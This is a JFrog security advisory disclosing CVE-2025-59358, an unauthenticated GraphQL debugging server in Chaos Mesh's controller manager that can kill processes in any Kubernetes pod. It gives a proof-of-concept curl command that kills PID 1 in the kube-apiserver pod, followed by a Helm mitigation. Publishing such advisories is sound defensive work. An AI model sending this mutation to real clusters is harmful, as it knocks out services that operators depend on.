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JFSA-2025-001449533 - Chaos Mesh debugging server DoS

CVE-2025-59358 | CVSS 7.5

JFrog Severity:high

Discovered ByNatan Nehoraiof the JFrog Security Research Team

Published 15 Sep, 2025 | Last updated 15 Sep, 2025

Denial of Service via Unauthorized Access to Chaos Mesh debugging server

github.com/chaos-mesh/chaos-mesh

(,2.7.2]

The Chaos Controller Manager in Chaos Mesh exposes a GraphQL debugging server without authentication to the entire Kubernetes cluster, which provides an API to kill arbitrary processes in any Kubernetes pod, leading to cluster-wide denial of service.

curl -X POST -H "Content-Type: application/json" -d '{"query": "mutation KillProcessesInPod { pod(ns: \"kube-system\", name: \"kube-apiserver-minikube\") { killProcesses(pids: [\"1\"]) { pid command } } }"}' http://controller-manager-host:10082/query

If upgrading Chaos-Mesh to the fixed version is not possible, re-deploy the Helm chart and disable the chaosctl tool and port:

helm install chaos-mesh chaos-mesh/chaos-mesh -n=chaos-mesh --version 2.7.x --set enableCtrlServer=false

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